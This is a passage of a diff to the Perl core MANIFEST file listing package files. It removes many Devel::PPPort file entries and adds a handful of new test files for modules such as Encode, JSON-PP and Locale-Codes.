-cpan/Devel-PPPort/devel/devtools.pl	Devel::PPPort development utilities
-cpan/Devel-PPPort/devel/mkapidoc.sh	Devel::PPPort apidoc collector
-cpan/Devel-PPPort/devel/mktodo		Devel::PPPort baseline/todo generator
-cpan/Devel-PPPort/devel/mktodo.pl	Devel::PPPort baseline/todo generator
-cpan/Devel-PPPort/devel/regenerate	Devel::PPPort API re-generator
-cpan/Devel-PPPort/devel/scanprov	Devel::PPPort provided API scanner
-cpan/Devel-PPPort/HACKERS		Devel::PPPort hackers documentation
-cpan/Devel-PPPort/Makefile.PL		Devel::PPPort makefile writer
-cpan/Devel-PPPort/mktests.PL		Devel::PPPort test file writer
-cpan/Devel-PPPort/module2.c		Devel::PPPort test file
-cpan/Devel-PPPort/module3.c		Devel::PPPort test file
-cpan/Devel-PPPort/parts/apicheck.pl	Devel::PPPort apicheck generator
-cpan/Devel-PPPort/parts/apidoc.fnc	Devel::PPPort Perl API listing
-cpan/Devel-PPPort/parts/base/5003070	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5004000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5004010	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5004020	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5004030	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5004040	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5004050	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5005000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5005010	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5005020	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5005030	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5005040	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5006000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5006001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5006002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5007000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5007001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5007002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5007003	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5008000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5008001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5008002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5008003	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5008004	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5008005	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5008006	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5008007	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5008008	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5008009	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5009000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5009001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5009002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5009003	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5009004	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5009005	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5010000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5010001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5011000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5011001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5011002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5011003	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5011004	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5011005	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5012000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5012001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5012002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5012003	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5012004	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5012005	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5013000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5013001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5013002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5013003	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5013004	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5013005	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5013006	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5013007	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5013008	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5013009	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5013010	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5013011	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5014000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5014001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5014002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5014003	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5014004	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5015000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5015001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5015002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5015003	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5015004	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5015005	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5015006	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5015007	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5015008	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5015009	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5016000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5016001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5016002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5016003	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5017000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5017001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5017002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5017003	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5017004	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5017005	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5017006	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5017007	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5017008	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5017009	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5017010	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5017011	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5018000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5018001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5018002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5018003	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5018004	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5019000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5019001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5019002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5019003	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5019004	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5019005	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5019006	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5019007	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5019008	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5019009	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5019010	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5019011	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5020000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5020001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5020002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5020003	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5021000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5021001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5021002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5021004	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5021005	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5021006	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5021007	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5021008	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5021009	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5021010	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5021011	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5022000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5022001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5023000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5023001	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5023002	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5023003	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5023004	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5023005	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5023006	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5023007	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5023008	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5023009	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/base/5024000	Devel::PPPort baseline todo file
-cpan/Devel-PPPort/parts/embed.fnc	Devel::PPPort Perl API listing
-cpan/Devel-PPPort/parts/inc/call	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/cop		Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/exception	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/format	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/grok	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/gv		Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/HvNAME	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/limits	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/magic	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/memory	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/misc	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/mPUSH	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/MY_CXT	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/newCONSTSUB	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/newRV	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/newSV_type	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/newSVpv	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/podtest	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/ppphbin	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/ppphdoc	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/ppphtest	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/pv_tools	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/pvs		Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/shared_pv	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/snprintf	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/sprintf	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/strlfuncs	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/Sv_set	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/sv_xpvf	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/SvPV	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/SvREFCNT	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/threads	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/uv		Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/variables	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/version	Devel::PPPort include
-cpan/Devel-PPPort/parts/inc/warn	Devel::PPPort include
-cpan/Devel-PPPort/parts/ppport.fnc	Devel::PPPort API listing
-cpan/Devel-PPPort/parts/ppptools.pl	Devel::PPPort various utilities
-cpan/Devel-PPPort/parts/todo/5003070	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5004000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5004010	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5004020	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5004030	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5004040	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5004050	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5005000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5005010	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5005020	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5005030	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5005040	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5006000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5006001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5006002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5007000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5007001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5007002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5007003	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5008000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5008001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5008002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5008003	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5008004	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5008005	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5008006	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5008007	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5008008	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5008009	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5009000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5009001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5009002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5009003	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5009004	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5009005	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5010000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5010001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5011000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5011001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5011002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5011003	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5011004	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5011005	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5012000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5012001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5012002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5012003	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5012004	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5012005	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5013000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5013001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5013002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5013003	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5013004	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5013005	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5013006	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5013007	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5013008	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5013009	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5013010	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5013011	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5014000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5014001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5014002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5014003	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5014004	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5015000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5015001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5015002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5015003	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5015004	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5015005	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5015006	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5015007	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5015008	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5015009	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5016000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5016001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5016002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5016003	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5017000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5017001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5017002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5017003	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5017004	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5017005	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5017006	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5017007	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5017008	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5017009	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5017010	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5017011	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5018000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5018001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5018002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5018003	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5018004	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5019000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5019001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5019002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5019003	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5019004	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5019005	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5019006	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5019007	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5019008	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5019009	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5019010	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5019011	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5020000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5020001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5020002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5020003	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5021000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5021001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5021002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5021004	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5021005	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5021006	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5021007	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5021008	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5021009	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5021010	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5021011	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5022000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5022001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5023000	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5023001	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5023002	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5023003	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5023004	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5023005	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5023006	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5023007	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5023008	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5023009	Devel::PPPort todo file
-cpan/Devel-PPPort/parts/todo/5024000	Devel::PPPort todo file
-cpan/Devel-PPPort/PPPort.xs		Devel::PPPort dummy PPPort.xs
-cpan/Devel-PPPort/ppport_h.PL		Devel::PPPort ppport.h writer
-cpan/Devel-PPPort/PPPort_pm.PL		Devel::PPPort PPPort.pm writer
-cpan/Devel-PPPort/PPPort_xs.PL		Devel::PPPort RealPPPort.xs writer
-cpan/Devel-PPPort/soak			Devel::PPPort Test Harness to run under various Perls
-cpan/Devel-PPPort/t/call.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/cop.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/exception.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/format.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/grok.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/gv.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/HvNAME.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/limits.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/magic.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/memory.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/misc.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/mPUSH.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/MY_CXT.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/newCONSTSUB.t	Devel::PPPort test file
-cpan/Devel-PPPort/t/newRV.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/newSV_type.t	Devel::PPPort test file
-cpan/Devel-PPPort/t/newSVpv.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/podtest.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/ppphtest.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/pv_tools.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/pvs.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/shared_pv.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/snprintf.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/sprintf.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/strlfuncs.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/Sv_set.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/sv_xpvf.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/SvPV.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/SvREFCNT.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/testutil.pl		Devel::PPPort test utilities
-cpan/Devel-PPPort/t/threads.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/uv.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/variables.t		Devel::PPPort test file
-cpan/Devel-PPPort/t/warn.t		Devel::PPPort test file
-cpan/Devel-PPPort/typemap		Devel::PPPort Typemap
 cpan/Digest/Digest.pm		Digest extensions
 cpan/Digest/Digest/base.pm	Digest extensions
 cpan/Digest/Digest/file.pm	Digest extensions
@@ -983,11 +619,17 @@
 cpan/Encode/t/rt85489.t			test script
 cpan/Encode/t/rt86327.t			test script
 cpan/Encode/t/taint.t
+cpan/Encode/t/truncated_utf8.t
+cpan/Encode/t/undef.t
 cpan/Encode/t/unibench.pl		benchmark script
 cpan/Encode/t/Unicode.t			test script
+cpan/Encode/t/use-Encode-Alias.t
+cpan/Encode/t/utf8messages.t
 cpan/Encode/t/utf8ref.t			test script
 cpan/Encode/t/utf8strict.t		test script
 cpan/Encode/t/utf8warnings.t
+cpan/Encode/t/whatwg-aliases.json
+cpan/Encode/t/whatwg-aliases.t
 cpan/Encode/TW/Makefile.PL		Encode extension
 cpan/Encode/TW/TW.pm			Encode extension
 cpan/Encode/ucm/8859-1.ucm		Unicode Character Map
@@ -1200,6 +842,7 @@
 cpan/ExtUtils-MakeMaker/t/MM_VMS.t				See if ExtUtils::MM_VMS works
 cpan/ExtUtils-MakeMaker/t/MM_Win32.t				See if ExtUtils::MM_Win32 works
 cpan/ExtUtils-MakeMaker/t/oneliner.t				See if MM can generate perl one-liners
+cpan/ExtUtils-MakeMaker/t/os_unsupported.t
 cpan/ExtUtils-MakeMaker/t/parse_abstract.t			See if parse_abstract works
 cpan/ExtUtils-MakeMaker/t/parse_version.t			See if parse_version works
 cpan/ExtUtils-MakeMaker/t/PL_FILES.t				Test PL_FILES in MakeMaker
@@ -1582,7 +1225,12 @@
 cpan/JSON-PP/t/114_decode_prefix.t
 cpan/JSON-PP/t/115_tie_ixhash.t
 cpan/JSON-PP/t/116_incr_parse_fixed.t
+cpan/JSON-PP/t/117_numbers.t
 cpan/JSON-PP/t/_unicode_handling.pm
+cpan/JSON-PP/t/gh_28_json_test_suite.t
+cpan/JSON-PP/t/gh_29_trailing_false_value.t
+cpan/JSON-PP/t/rt_116998_wrong_character_offset.t
+cpan/JSON-PP/t/rt_90071_incr_parse.t
 cpan/JSON-PP/t/zero-mojibake.t
 cpan/libnet/lib/Net/Cmd.pm
 cpan/libnet/lib/Net/Config.pm
@@ -1618,7 +1266,6 @@
 cpan/libnet/t/time.t		libnet
 cpan/Locale-Codes/lib/Locale/Codes.pm		Locale::Codes
 cpan/Locale-Codes/lib/Locale/Codes.pod		Locale::Codes documentation
-cpan/Locale-Codes/lib/Locale/Codes/API.pod	Locale::Codes documentation
 cpan/Locale-Codes/lib/Locale/Codes/Changes.pod	Locale::Codes documentation
 cpan/Locale-Codes/lib/Locale/Codes/Constants.pm	Locale::Codes
 cpan/Locale-Codes/lib/Locale/Codes/Country.pm	Locale::Codes
@@ -1649,6 +1296,7 @@
 cpan/Locale-Codes/lib/Locale/Codes/Script.pod	Locale::Codes documentation
 cpan/Locale-Codes/lib/Locale/Codes/Script_Codes.pm	Locale::Codes
 cpan/Locale-Codes/lib/Locale/Codes/Script_Retired.pm	Locale::Codes
+cpan/Locale-Codes/lib/Locale/Codes/Types.pod	Locale::Codes documentation
 cpan/Locale-Codes/lib/Locale/Country.pm		Locale::Codes
 cpan/Locale-Codes/lib/Locale/Country.pod	Locale::Codes documentation
